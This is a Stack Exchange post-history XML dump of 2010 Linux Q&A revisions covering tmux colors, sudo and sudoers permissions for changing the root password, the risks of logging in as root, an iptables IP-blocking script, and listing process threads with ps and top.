  <row Id="1991" PostHistoryTypeId="3" PostId="1045" RevisionGUID="5d0bbca1-4ed6-4d27-96d0-763fd6c2f968" CreationDate="2010-08-23T08:30:37.257" UserId="29" Text="écolorsàésettingsàétmuxàékonsoleà" />
  <row Id="1992" PostHistoryTypeId="6" PostId="549" RevisionGUID="bf7b7bb1-bae5-4a6d-ac67-f4792980c756" CreationDate="2010-08-23T08:31:43.603" UserId="29" Comment="edited tags" Text="éscreenàéterminalömultiplexeràétmuxà" />
  <row Id="1993" PostHistoryTypeId="2" PostId="1046" RevisionGUID="b069463c-e4b7-4a97-8228-1f3f6c278066" CreationDate="2010-08-23T08:38:50.453" UserId="1026" Text="Please do not ask why, but is it possible to do it?" />
  <row Id="1994" PostHistoryTypeId="1" PostId="1046" RevisionGUID="b069463c-e4b7-4a97-8228-1f3f6c278066" CreationDate="2010-08-23T08:38:50.453" UserId="1026" Text="How to give a normal user permission to change root password" />
  <row Id="1995" PostHistoryTypeId="3" PostId="1046" RevisionGUID="b069463c-e4b7-4a97-8228-1f3f6c278066" CreationDate="2010-08-23T08:38:50.453" UserId="1026" Text="éterminalà" />
  <row Id="1996" PostHistoryTypeId="2" PostId="1047" RevisionGUID="2dc66627-e25e-47a8-b58b-7527f9053b8e" CreationDate="2010-08-23T08:40:44.677" UserId="29" Text="Don't do that... you can either give them root's password or you could execute `sudo passwd root` (this assumes that sudo is set to use the users password or no password)." />
  <row Id="1997" PostHistoryTypeId="6" PostId="1046" RevisionGUID="e9278860-de73-42dd-aa48-b82a046e6456" CreationDate="2010-08-23T08:42:34.253" UserId="29" Comment="edited tags" Text="écommandölineàésecurityàépasswordà" />
  <row Id="1998" PostHistoryTypeId="5" PostId="1047" RevisionGUID="54edc7ee-28a1-415f-9198-04932a3419f1" CreationDate="2010-08-23T08:47:01.217" UserId="29" Comment="add note about authorization" Text="Don't do that... you can either give them root's password or you could execute `sudo passwd root` (this assumes that sudo is set to use the users password or no password, and that passwd is a command that sudo has authorized to be run by that user)." />
  <row Id="1999" PostHistoryTypeId="5" PostId="892" RevisionGUID="b7487ece-9d49-47fc-9644-bca13c00aec9" CreationDate="2010-08-23T08:49:46.780" UserId="912" Comment="added 300 characters in body; edited tags" Text="For Windows, I think [Process Explorer][1] shows you all the threads under a process.&#xD;&#xA;&#xD;&#xA;Is there a similar command line utility for Linux that can show me details about all the threads a particular process is spawning?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;I think I should have made myself more clear. **I do not want to see the process hierarcy, but a list of all the threads spawned by a particular process**&#xD;&#xA;&#xD;&#xA;See this screenshot&#xD;&#xA;&#xD;&#xA;![alt text][2]&#xD;&#xA;&#xD;&#xA;**How can this be achieved in Linux?** Thanks!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://technet.microsoft.com/en-us/sysinternals/bb896653.aspx&#xD;&#xA;  [2]: http://i.imgur.com/ZfcGv.png" />
  <row Id="2000" PostHistoryTypeId="6" PostId="892" RevisionGUID="b7487ece-9d49-47fc-9644-bca13c00aec9" CreationDate="2010-08-23T08:49:46.780" UserId="912" Comment="added 300 characters in body; edited tags" Text="élinuxàécommandölineàéshellàéunixàéprocessà" />
  <row Id="2001" PostHistoryTypeId="2" PostId="1048" RevisionGUID="f56fa752-7959-4d13-b2ab-760b37c85c4c" CreationDate="2010-08-23T08:56:19.827" UserId="1002" Text="You could do something like:&#xD;&#xA;&#xD;&#xA;    PS1='%F{063}%1' # format blue&#xD;&#xA;    PS1=$PS1'~'     # show current directory&#xD;&#xA;    PS1=$PS1'%f'&#xD;&#xA;    PS1=$PS1'%(1v.%F{099}%1v %f.)' # show git branch if git repo in purple&#xD;&#xA;&#xD;&#xA;etc.?" />
  <row Id="2002" PostHistoryTypeId="4" PostId="1003" RevisionGUID="c4195ccc-95d8-45e9-bff2-d22d9c25fcf6" CreationDate="2010-08-23T09:03:10.763" UserId="1079" Comment="edited title" Text="Linux Kernel: Good beginners' tutorial" />
  <row Id="2003" PostHistoryTypeId="2" PostId="1049" RevisionGUID="14b2863b-cbf1-42fc-80f9-74ce19bc1228" CreationDate="2010-08-23T09:04:57.267" UserId="922" Text="Try setting 256 colors explicitly in your bashrc or zshrc:&#xD;&#xA;&#xD;&#xA;    export TERM=xterm-256color&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    export TERM=screen-256color&#xD;&#xA;&#xD;&#xA;If you have problems with tmux not clearing the background colors correctly when using the screen term setting, you can try:&#xD;&#xA;&#xD;&#xA;    export TERM=screen-256color-bce&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2004" PostHistoryTypeId="2" PostId="1050" RevisionGUID="40bddeb4-9881-45d9-90a2-ecd355aa4fdb" CreationDate="2010-08-23T10:05:04.840" UserId="250" Text="Maybe you can add this line to the sudoer file (using `visudo`), replacing `phunehehe` with the username.&#xD;&#xA;&#xD;&#xA;    phunehehe ALL=(ALL) NOPASSWD: ALL&#xD;&#xA;I don't know if that breaks your condition of a &quot;normal user&quot;, though, because after that he/she can do everything without any password." />
  <row Id="2008" PostHistoryTypeId="2" PostId="1052" RevisionGUID="2ad89b58-a512-4e78-a983-d081d7d43b2b" CreationDate="2010-08-23T11:36:32.550" UserId="317" Text="for personal linux on personal notebook, I'am usually set my environment to **autologin as root** even under X or lower run level. I found my activity is very pleasing and fast without any cumbersome to type `su` or `sudo` or being asked by keyring or auth of something.&#xD;&#xA;&#xD;&#xA;so far I never got any problem with it, so **why most people are freaking out about it?** is it overated? ofcourse assuming the users is know what they are doing and don't really care about system reliability &amp; security issues." />
  <row Id="2009" PostHistoryTypeId="1" PostId="1052" RevisionGUID="2ad89b58-a512-4e78-a983-d081d7d43b2b" CreationDate="2010-08-23T11:36:32.550" UserId="317" Text="login as root overated?" />
  <row Id="2010" PostHistoryTypeId="3" PostId="1052" RevisionGUID="2ad89b58-a512-4e78-a983-d081d7d43b2b" CreationDate="2010-08-23T11:36:32.550" UserId="317" Text="ésecurityàéusersàéloginàérootàéadministrationà" />
  <row Id="2011" PostHistoryTypeId="2" PostId="1053" RevisionGUID="61ee18ba-4e0f-4e0f-97da-27688baf2278" CreationDate="2010-08-23T11:44:53.427" UserId="290" Text="You will find some answers [here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://everyjoe.com/technology/explain-why-not-log-on-as-root/" />
  <row Id="2012" PostHistoryTypeId="5" PostId="1039" RevisionGUID="e861ac67-f8b2-4b9d-9d9c-90a1a043cc53" CreationDate="2010-08-23T11:46:31.553" UserId="558" Comment="Fixed something incorrect. Thanks, Michael!" Text="`nohup` is definitely the right way to go if you can run your program without interacting with it: &lt;strike&gt;if it writes all its output and error messages into a file that you can get to later, for instance.&lt;/strike&gt; check the `nohup.out` file to see any error messages the program left behind while running (thanks for the correction, Michael!)&#xD;&#xA;&#xD;&#xA;If you need to interact with the program while it's running, [GNU Screen][1] might be the better way to go about it. It lets you create a virtual terminal which remains running even after you log out, along with any programs you started in it, as long as nobody shuts the computer down. [Here's a tutorial][2] I found on using it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/GNU_Screen&#xD;&#xA;  [2]: http://www.enterpriseitplanet.com/security/features/article.php/3800756/SSH-at-Work-Manage-Long-Running-Processes-with-screen.htm" />
  <row Id="2013" PostHistoryTypeId="2" PostId="1054" RevisionGUID="71b315b3-4afe-4502-a6fe-349304770599" CreationDate="2010-08-23T11:51:31.107" UserId="317" Text="suppose you are on linux internet gateway/router. how would you do to block a client with specific IP using bash script. I prefer something like `./block_client.sh 192.168.1.123` to block and `./unblock_client.sh 192.168.1.123`" />
  <row Id="2014" PostHistoryTypeId="1" PostId="1054" RevisionGUID="71b315b3-4afe-4502-a6fe-349304770599" CreationDate="2010-08-23T11:51:31.107" UserId="317" Text="block specific IP from accessing gateway" />
  <row Id="2015" PostHistoryTypeId="3" PostId="1054" RevisionGUID="71b315b3-4afe-4502-a6fe-349304770599" CreationDate="2010-08-23T11:51:31.107" UserId="317" Text="éshellàébashàéroutingàéscriptingàéiptablesà" />
  <row Id="2016" PostHistoryTypeId="2" PostId="1055" RevisionGUID="f55663c9-f365-4265-a996-31f5fae1019f" CreationDate="2010-08-23T11:53:59.730" UserId="317" Text="what is your oldest machine you ever install linux on (currently still run)? what's the spec, kernel ver. or distro and for what purpose?" />
  <row Id="2017" PostHistoryTypeId="1" PostId="1055" RevisionGUID="f55663c9-f365-4265-a996-31f5fae1019f" CreationDate="2010-08-23T11:53:59.730" UserId="317" Text="linux oldest machine you ever run" />
  <row Id="2018" PostHistoryTypeId="3" PostId="1055" RevisionGUID="f55663c9-f365-4265-a996-31f5fae1019f" CreationDate="2010-08-23T11:53:59.730" UserId="317" Text="ékernelàéinstallàédistrosàéversionà" />
  <row Id="2019" PostHistoryTypeId="2" PostId="1056" RevisionGUID="50be16d3-7ac0-4d96-b722-b90b0724051b" CreationDate="2010-08-23T12:07:59.427" UserId="1126" Text="## Listing threads under Linux ##&#xD;&#xA;&#xD;&#xA;### Current provide answers ###&#xD;&#xA;&#xD;&#xA;Hello Lazer, I would like to make it clear that each answer here is providing you with exactly what you have specified, a list of all threads associated with a process, this maybe be unobvious in `htop` as it by defaults lists all threads on the system not just the process, but `top -H -p &lt;pid&gt;` works better for example:&#xD;&#xA;&#xD;&#xA;    top - 00:03:29 up 3 days, 14:49,  5 users,  load average: 0.76, 0.33, 0.18&#xD;&#xA;    Tasks:  18 total,   0 running,  18 sleeping,   0 stopped,   0 zombie&#xD;&#xA;    Cpu(s): 22.6%us,  5.7%sy,  4.2%ni, 66.2%id,  0.8%wa,  0.5%hi,  0.1%si,  0.0%st&#xD;&#xA;    Mem:   2063948k total,  1937744k used,   126204k free,   528256k buffers&#xD;&#xA;    Swap:  1052220k total,    11628k used,  1040592k free,   539684k cached&#xD;&#xA;    &#xD;&#xA;      PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND            &#xD;&#xA;    30170 daniel    20   0  371m 140m 107m S 10.0  7.0   0:31.37 source:src    &#xD;&#xA;    30066 daniel   -90   0  371m 140m 107m S  2.0  7.0   0:07.87 clementine               &#xD;&#xA;    30046 daniel    20   0  371m 140m 107m S  0.0  7.0   0:32.05 clementine                  &#xD;&#xA;    30049 daniel    20   0  371m 140m 107m S  0.0  7.0   0:00.03 clementine                          &#xD;&#xA;    30050 daniel    20   0  371m 140m 107m S  0.0  7.0   0:00.31 clementine                          &#xD;&#xA;    30051 daniel    20   0  371m 140m 107m S  0.0  7.0   0:00.00 clementine                          &#xD;&#xA;    30052 daniel    20   0  371m 140m 107m S  0.0  7.0   0:00.00 clementine                          &#xD;&#xA;    30053 daniel    20   0  371m 140m 107m S  0.0  7.0   0:00.00 clementine                          &#xD;&#xA;    30054 daniel    20   0  371m 140m 107m S  0.0  7.0   0:00.03 clementine                          &#xD;&#xA;    30055 daniel    20   0  371m 140m 107m S  0.0  7.0   0:00.00 clementine                          &#xD;&#xA;    30056 daniel    20   0  371m 140m 107m S  0.0  7.0   0:00.00 clementine                          &#xD;&#xA;    30057 daniel    20   0  371m 140m 107m S  0.0  7.0   0:00.04 clementine                          &#xD;&#xA;    30058 daniel    20   0  371m 140m 107m S  0.0  7.0   0:00.00 clementine                          &#xD;&#xA;    30060 daniel    20   0  371m 140m 107m S  0.0  7.0   0:00.16 clementine                          &#xD;&#xA;    30061 daniel    20   0  371m 140m 107m S  0.0  7.0   0:00.00 clementine                          &#xD;&#xA;    30062 daniel    20   0  371m 140m 107m S  0.0  7.0   0:00.00 clementine                          &#xD;&#xA;    30064 daniel    20   0  371m 140m 107m S  0.0  7.0   0:00.00 clementine                          &#xD;&#xA;    30065 daniel    20   0  371m 140m 107m S  0.0  7.0   0:00.00 clementine&#xD;&#xA;&#xD;&#xA;as a side note the thread with -90 is actually a realtime thread&#xD;&#xA;&#xD;&#xA;### but ###&#xD;&#xA;&#xD;&#xA;There's also another option which is true CLI `ps -e -T | grep &lt;application name or pid&gt;`&#xD;&#xA;&#xD;&#xA;here's an example:&#xD;&#xA;&#xD;&#xA;    $ ps -e -T | grep clementine&#xD;&#xA;      PID  SPID TTY          TIME CMD       # this is here for clarity&#xD;&#xA;    30046 30046 pts/2    00:00:17 clementine&#xD;&#xA;    30046 30049 pts/2    00:00:00 clementine&#xD;&#xA;    30046 30050 pts/2    00:00:00 clementine&#xD;&#xA;    30046 30051 pts/2    00:00:00 clementine&#xD;&#xA;    30046 30052 pts/2    00:00:00 clementine&#xD;&#xA;    30046 30053 pts/2    00:00:00 clementine&#xD;&#xA;    30046 30054 pts/2    00:00:00 clementine&#xD;&#xA;    30046 30055 pts/2    00:00:00 clementine&#xD;&#xA;    30046 30056 pts/2    00:00:00 clementine&#xD;&#xA;    30046 30057 pts/2    00:00:00 clementine&#xD;&#xA;    30046 30058 pts/2    00:00:00 clementine&#xD;&#xA;    30046 30060 pts/2    00:00:00 clementine&#xD;&#xA;    30046 30061 pts/2    00:00:00 clementine&#xD;&#xA;    30046 30062 pts/2    00:00:00 clementine&#xD;&#xA;    30046 30064 pts/2    00:00:00 clementine&#xD;&#xA;    30046 30065 pts/2    00:00:00 clementine&#xD;&#xA;    30046 30066 pts/2    00:00:03 clementine&#xD;&#xA;    $&#xD;&#xA;&#xD;&#xA;each of these has the same PID so you know they are in the same process&#xD;&#xA;&#xD;&#xA;please don't hesitate to ask more questions" />
  <row Id="2020" PostHistoryTypeId="5" PostId="1056" RevisionGUID="4442741d-181e-41cc-96a1-5870e36c38b9" CreationDate="2010-08-23T12:14:42.957" UserId="1126" Comment="clarified the options of ps to help people better understand" Text="## Listing threads under Linux ##&#xD;&#xA;&#xD;&#xA;### Current provide answers ###&#xD;&#xA;&#xD;&#xA;Hello Lazer, I would like to make it clear that each answer here is providing you with exactly what you have specified, a list of all threads associated with a process, this maybe be unobvious in `htop` as it by defaults lists all threads on the system not just the process, but `top -H -p &lt;pid&gt;` works better for example:&#xD;&#xA;&#xD;&#xA;    top - 00:03:29 up 3 days, 14:49,  5 users,  load average: 0.76, 0.33, 0.18&#xD;&#xA;    Tasks:  18 total,   0 running,  18 sleeping,   0 stopped,   0 zombie&#xD;&#xA;    Cpu(s): 22.6%us,  5.7%sy,  4.2%ni, 66.2%id,  0.8%wa,  0.5%hi,  0.1%si,  0.0%st&#xD;&#xA;    Mem:   2063948k total,  1937744k used,   126204k free,   528256k buffers&#xD;&#xA;    Swap:  1052220k total,    11628k used,  1040592k free,   539684k cached&#xD;&#xA;    &#xD;&#xA;      PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND            &#xD;&#xA;    30170 daniel    20   0  371m 140m 107m S 10.0  7.0   0:31.37 source:src    &#xD;&#xA;    30066 daniel   -90   0  371m 140m 107m S  2.0  7.0   0:07.87 clementine               &#xD;&#xA;    30046 daniel    20   0  371m 140m 107m S  0.0  7.0   0:32.05 clementine                  &#xD;&#xA;    30049 daniel    20   0  371m 140m 107m S  0.0  7.0   0:00.03 clementine                          &#xD;&#xA;    30050 daniel    20   0  371m 140m 107m S  0.0  7.0   0:00.31 clementine                          &#xD;&#xA;    30051 daniel    20   0  371m 140m 107m S  0.0  7.0   0:00.00 clementine                          &#xD;&#xA;    30052 daniel    20   0  371m 140m 107m S  0.0  7.0   0:00.00 clementine                          &#xD;&#xA;    30053 daniel    20   0  371m 140m 107m S  0.0  7.0   0:00.00 clementine                          &#xD;&#xA;    30054 daniel    20   0  371m 140m 107m S  0.0  7.0   0:00.03 clementine                          &#xD;&#xA;    30055 daniel    20   0  371m 140m 107m S  0.0  7.0   0:00.00 clementine                          &#xD;&#xA;    30056 daniel    20   0  371m 140m 107m S  0.0  7.0   0:00.00 clementine                          &#xD;&#xA;    30057 daniel    20   0  371m 140m 107m S  0.0  7.0   0:00.04 clementine                          &#xD;&#xA;    30058 daniel    20   0  371m 140m 107m S  0.0  7.0   0:00.00 clementine                          &#xD;&#xA;    30060 daniel    20   0  371m 140m 107m S  0.0  7.0   0:00.16 clementine                          &#xD;&#xA;    30061 daniel    20   0  371m 140m 107m S  0.0  7.0   0:00.00 clementine                          &#xD;&#xA;    30062 daniel    20   0  371m 140m 107m S  0.0  7.0   0:00.00 clementine                          &#xD;&#xA;    30064 daniel    20   0  371m 140m 107m S  0.0  7.0   0:00.00 clementine                          &#xD;&#xA;    30065 daniel    20   0  371m 140m 107m S  0.0  7.0   0:00.00 clementine&#xD;&#xA;&#xD;&#xA;as a side note the thread with -90 is actually a realtime thread&#xD;&#xA;&#xD;&#xA;### but ###&#xD;&#xA;&#xD;&#xA;There's also another option which is true CLI `ps -e -T | grep &lt;application name or pid&gt;`&#xD;&#xA;&#xD;&#xA; - `-e` show's all processes&#xD;&#xA; - `-T` lists all threads&#xD;&#xA; - `|` pipes the output to the next command&#xD;&#xA; - `grep` this filters the contents&#xD;&#xA;&#xD;&#xA;here's an example:&#xD;&#xA;&#xD;&#xA;    $ ps -e -T | grep clementine&#xD;&#xA;      PID  SPID TTY          TIME CMD       # this is here for clarity&#xD;&#xA;    30046 30046 pts/2    00:00:17 clementine&#xD;&#xA;    30046 30049 pts/2    00:00:00 clementine&#xD;&#xA;    30046 30050 pts/2    00:00:00 clementine&#xD;&#xA;    30046 30051 pts/2    00:00:00 clementine&#xD;&#xA;    30046 30052 pts/2    00:00:00 clementine&#xD;&#xA;    30046 30053 pts/2    00:00:00 clementine&#xD;&#xA;    30046 30054 pts/2    00:00:00 clementine&#xD;&#xA;    30046 30055 pts/2    00:00:00 clementine&#xD;&#xA;    30046 30056 pts/2    00:00:00 clementine&#xD;&#xA;    30046 30057 pts/2    00:00:00 clementine&#xD;&#xA;    30046 30058 pts/2    00:00:00 clementine&#xD;&#xA;    30046 30060 pts/2    00:00:00 clementine&#xD;&#xA;    30046 30061 pts/2    00:00:00 clementine&#xD;&#xA;    30046 30062 pts/2    00:00:00 clementine&#xD;&#xA;    30046 30064 pts/2    00:00:00 clementine&#xD;&#xA;    30046 30065 pts/2    00:00:00 clementine&#xD;&#xA;    30046 30066 pts/2    00:00:03 clementine&#xD;&#xA;    $&#xD;&#xA;&#xD;&#xA;each of these has the same PID so you know they are in the same process&#xD;&#xA;&#xD;&#xA;please don't hesitate to ask more questions" />
  <row Id="2021" PostHistoryTypeId="2" PostId="1057" RevisionGUID="1e19ef50-5879-467c-9718-ab370042b1fb" CreationDate="2010-08-23T12:18:08.537" UserDisplayName="Deano" Text="One thing that I like to add to my .bashrc is a copy and remove function. Something like:&#xD;&#xA;&#xD;&#xA;    cprm(){&#xD;&#xA;    	cp -p $1 ~/deleted/$1&#xD;&#xA;        rm $1&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;But you do have to get into the habit of typing cprm not rm.&#xD;&#xA;&#xD;&#xA;Obviously you will need to keep on top of the deleted area if you have limited diskspace." />
  <row Id="2022" PostHistoryTypeId="2" PostId="1058" RevisionGUID="fd0787a9-adf2-4cb5-be29-4e0e05087143" CreationDate="2010-08-23T12:35:41.293" UserId="659" Text="Apart from the obvious point of security, it is clear you've never hosed your system by mistyping a command in the shell or a lapsus. If it happens, you'll understand why people freak out about it. And then you will cry in horror, and also realize that it was a highly educational experience, but you're not getting your system back anyway.&#xD;&#xA;&#xD;&#xA;A thought: if you're being asked for the root password during normal use of your system (ie not installing packages or some other system administration task), **you're doing it wrong**." />
  <row Id="2023" PostHistoryTypeId="2" PostId="1059" RevisionGUID="67d84575-64ad-49c2-bce0-a79a46ee0e93" CreationDate="2010-08-23T12:42:46.100" UserId="1131" Text="First, for doing this you do not need to execute the job as super user.&#xD;&#xA;&#xD;&#xA;The easiest way to solve this is to edit the crontab of your normal user via&#xD;&#xA;&#xD;&#xA;    crontab -e&#xD;&#xA;&#xD;&#xA;Depending on you EDITOR enviroment variable, the users crontab is opened with your favourite text editor.&#xD;&#xA;&#xD;&#xA;There you can add something like&#xD;&#xA;&#xD;&#xA;    # m h dom mon dow command&#xD;&#xA;    5 12 * * 1 bash $HOME/pkg.backup.sh&#xD;&#xA;&#xD;&#xA;You have then to create the pkg.backup.sh file with your dpkg command in it.&#xD;&#xA;&#xD;&#xA;Btw, if you want to be able to easily restore your current package state of the machine (aka package selection), then this command line is more target-oriented:&#xD;&#xA;&#xD;&#xA;    dpkg --get-selections &gt; foo&#xD;&#xA;&#xD;&#xA;To restore it, you just have to type&#xD;&#xA;&#xD;&#xA;    dpkg --set-seclections &lt; foo&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Actually, dpkg -l is useful in addition to that if you want to log exact package version number, too.&#xD;&#xA;" />
  <row Id="2024" PostHistoryTypeId="2" PostId="1060" RevisionGUID="abf36cd4-abbc-4554-b97d-a6c33246f06e" CreationDate="2010-08-23T12:48:49.350" UserId="1126" Text="this isn't exactly old but it's interesting, and slow like it was old hardware&#xD;&#xA;&#xD;&#xA;    # cat /proc/cpuinfo &#xD;&#xA;      system type		: TI AR7 (TNETD7200)&#xD;&#xA;      processor		: 0&#xD;&#xA;      cpu model		: MIPS 4KEc V4.8&#xD;&#xA;      BogoMIPS		: 211.35&#xD;&#xA;      wait instruction	: yes&#xD;&#xA;      microsecond timers	: yes&#xD;&#xA;      tlb_entries		: 16&#xD;&#xA;      extra interrupt vector: yes&#xD;&#xA;      hardware watchpoint	: yes&#xD;&#xA;      ASEs implemented	:&#xD;&#xA;      shadow register sets	: 1&#xD;&#xA;      core			: 0&#xD;&#xA;      VCED exceptions	: not available&#xD;&#xA;      VCEI exceptions	: not available&#xD;&#xA;&#xD;&#xA; - that's about 211MHz CPU&#xD;&#xA; - kernel version 2.6.32.10&#xD;&#xA; - 16MB of RAM&#xD;&#xA; - 4MB of flash&#xD;&#xA; - no:&#xD;&#xA;  - hard drive&#xD;&#xA;  - screen&#xD;&#xA;  - video card&#xD;&#xA; - it has a built in ADSL Modem that powers my Internet&#xD;&#xA; - Distro is [OpenWRT](http://wiki.openwrt.org/toh/d-link/dsl-502t-genii)&#xD;&#xA;" />
  <row Id="2025" PostHistoryTypeId="2" PostId="1061" RevisionGUID="2e700844-323e-4dfd-b799-744d2ba34f38" CreationDate="2010-08-23T12:57:07.163" UserId="195" Text="    [kevin@box ~]$ cat block_client.sh&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    iptables -I INPUT -s 192.168.1.123 -j DROP&#xD;&#xA;    [kevin@box ~]$ cat unblock_client.sh&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    iptables -D INPUT -s 192.168.1.123 -j DROP&#xD;&#xA;    [kevin@box ~]$&#xD;&#xA;" />
  <row Id="2026" PostHistoryTypeId="2" PostId="1062" RevisionGUID="8c826d14-7bc9-4001-981d-99fbeea07f03" CreationDate="2010-08-23T13:05:07.647" UserId="305" Text="For the same reasons why each daemon should have minimal rights. Apache can run as root. It is designed to perform one task and surely nothing bad can happen?&#xD;&#xA;&#xD;&#xA;But assume apache is not bug-free. Bugs are discovered from time to time. Sometimes it can be even arbitrary code execution or similar. Now with apache runned as root it can access anything - for example it can load a rootkit into kernel and hide itself.&#xD;&#xA;&#xD;&#xA;On the other hand user-level rootkit is very hard. It have to override different programs (like ps) inside /home which can make it suspectable more filled. It might not know exact configuration and 'forgot' to include gnome-system-monitor therefore exposing itself etc. It have to cover bash, tcsh and any shell you happen to use (to start itself). It would have to work with different configurations instead of 'simply' overriding buch of callbacks. &#xD;&#xA;&#xD;&#xA;Consider that not so long ago there was arbitrary code execution discovered in... Adobe Reader. &#xD;&#xA;&#xD;&#xA;Other reason is user mistakes. It is better to be warned that erase whole disk by one command.&#xD;&#xA;&#xD;&#xA;Third reason is different shells. Root shell should be installed on / in case that rescue of system needed to be performed. Users' shells can be installed on /usr (for example user can use zsh).&#xD;&#xA;&#xD;&#xA;Forth reason is that different programs does not work as root. They specificly know they are not suppose to so you would need to patch system.&#xD;&#xA;&#xD;&#xA;Fifth reason is that /root should not be on separate partition while /home can (and should). Having /home separate helps for various reasons.&#xD;&#xA;&#xD;&#xA;**ALSO**: WHY NOT USE AS NORMAL USER. You more often don't need to have root rights then do. It is a very little cost for security.&#xD;&#xA;" />
  <row Id="2027" PostHistoryTypeId="2" PostId="1063" RevisionGUID="41625eaa-3a94-4d7e-af7f-9d6aa7773269" CreationDate="2010-08-23T13:11:23.233" UserId="234" Text="&lt;code&gt;sudo&lt;/code&gt; is the swiss-army knife of customized permissions.  You could ask the user &#xD;&#xA; to run&#xD;&#xA;&#xD;&#xA;    sudo /usr/bin/passwd root&#xD;&#xA;&#xD;&#xA;To see how this might be enabled, here's a related example from the sudoers(5) manpage.&#xD;&#xA;&#xD;&#xA;    pete           HPPA = /usr/bin/passwd [A-Za-z]*, !/usr/bin/passwd root&#xD;&#xA;&#xD;&#xA;    The user pete is allowed to change anyone's password except for root on the &#xD;&#xA;    HPPA machines.  Note that this assumes passwd(1) does not take multiple &#xD;&#xA;    usernames on the command line.&#xD;&#xA;&#xD;&#xA;You'll have to invert the logic to achieve your ends, of course.  So, you would execute the &lt;code&gt;visudo&lt;/code&gt;, and add a line like&#xD;&#xA;&#xD;&#xA;    user ALL = /usr/bin/passwd root&#xD;&#xA;&#xD;&#xA;to &lt;code&gt;/etc/sudoers&lt;/code&gt;.&#xD;&#xA;" />
  <row Id="2028" PostHistoryTypeId="2" PostId="1064" RevisionGUID="c3e9971d-fe9b-453c-aace-5e29ef78f22a" CreationDate="2010-08-23T13:12:02.423" UserId="1126" Text="since you're probably wanting a quick answer here's a solution&#xD;&#xA;&#xD;&#xA;    PS1=$'\&#xD;&#xA;    %F{063}%1\&#xD;&#xA;    ~\&#xD;&#xA;    %f\&#xD;&#xA;    %(1v.%F{099}%1v %f.)\&#xD;&#xA;    %F{063}\&#xD;&#xA;    %#\&#xD;&#xA;    %f '&#xD;&#xA;&#xD;&#xA;but please note that you can not comment inside a string&#xD;&#xA;" />
  <row Id="2029" PostHistoryTypeId="2" PostId="1065" RevisionGUID="3b1b5afa-8355-4796-8faa-97f4b1e81772" CreationDate="2010-08-23T13:19:26.870" UserId="1132" Text="I agree with Maciej for the concern over security &amp; having control over certain powers. also, as you are the owner of your system you can disable this functionality if you want ;) its your choice." />
  <row Id="2030" PostHistoryTypeId="2" PostId="1066" RevisionGUID="01df298e-7fd1-473b-ae5c-4106d6a146c0" CreationDate="2010-08-23T13:22:34.647" UserId="912" Text="    $ ps -e -T | grep myp | grep -v grep&#xD;&#xA;      797   797 ?        00:00:00 myp&#xD;&#xA;      797   798 ?        00:00:00 myp&#xD;&#xA;      797   799 ?        00:00:00 myp&#xD;&#xA;      797   800 ?        00:00:00 myp&#xD;&#xA;&#xD;&#xA;This shows the process `myp` with PID = 797 and four threads with different SPIDs.&#xD;&#xA;&#xD;&#xA;How can I kill a particular thread of the process without killing the whole process. I understand that it might not be possible at all in some cases when there are fatal dependencies on that particular thread. But, is it possible in any case? Is yes, how?&#xD;&#xA;&#xD;&#xA;I tried `kill 799` and the process itself was terminated. Now I am not sure this was because there were dependencies that made `myp` fail without the process `800` or because kill is simple not able to kill individual processes.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2031" PostHistoryTypeId="1" PostId="1066" RevisionGUID="01df298e-7fd1-473b-ae5c-4106d6a146c0" CreationDate="2010-08-23T13:22:34.647" UserId="912" Text="How can I kill  a particular thread of a process?" />
  <row Id="2032" PostHistoryTypeId="3" PostId="1066" RevisionGUID="01df298e-7fd1-473b-ae5c-4106d6a146c0" CreationDate="2010-08-23T13:22:34.647" UserId="912" Text="élinuxàécommandölineàéshellàéunixàéprocessà" />
  <row Id="2033" PostHistoryTypeId="2" PostId="1067" RevisionGUID="04a363f0-6e1e-4ae3-8dd1-930e3edbb5f5" CreationDate="2010-08-23T13:31:20.213" UserId="394" Text="What are the directories one should back up, in order to have a backup of all user-generated files?&#xD;&#xA;&#xD;&#xA;From a vanilla debian install, I can do enough apt to get the packages that I want. So if I don't want to backup the entire system, where all in the filesystem do  user-generated configuration and data files reside?" />
  <row Id="2034" PostHistoryTypeId="1" PostId="1067" RevisionGUID="04a363f0-6e1e-4ae3-8dd1-930e3edbb5f5" CreationDate="2010-08-23T13:31:20.213" UserId="394" Text="What directories do I need to back up?" />
  <row Id="2035" PostHistoryTypeId="3" PostId="1067" RevisionGUID="04a363f0-6e1e-4ae3-8dd1-930e3edbb5f5" CreationDate="2010-08-23T13:31:20.213" UserId="394" Text="ébackupàédebianàéfilesystemsà" />
  <row Id="2036" PostHistoryTypeId="2" PostId="1068" RevisionGUID="933b2f50-2d4b-42fa-bda4-e71d9d866a39" CreationDate="2010-08-23T13:32:19.573" UserId="1091" Text="Hello,&#xD;&#xA;&#xD;&#xA;I use gnome some years, but now i want to try tiling window manager. &#xD;&#xA;&#xD;&#xA;I wish that it would have satisfied the two criteria:&#xD;&#xA;&#xD;&#xA;1) WM must be lightweight&#xD;&#xA;&#xD;&#xA;2) WM should not be complicated to configure&#xD;&#xA;&#xD;&#xA;Waiting for your advice&#xD;&#xA;&#xD;&#xA;Thank you" />
  <row Id="2037" PostHistoryTypeId="1" PostId="1068" RevisionGUID="933b2f50-2d4b-42fa-bda4-e71d9d866a39" CreationDate="2010-08-23T13:32:19.573" UserId="1091" Text="Need advice in choosing tile WM" />
  <row Id="2038" PostHistoryTypeId="3" PostId="1068" RevisionGUID="933b2f50-2d4b-42fa-bda4-e71d9d866a39" CreationDate="2010-08-23T13:32:19.573" UserId="1091" Text="éwindowömanagerà" />
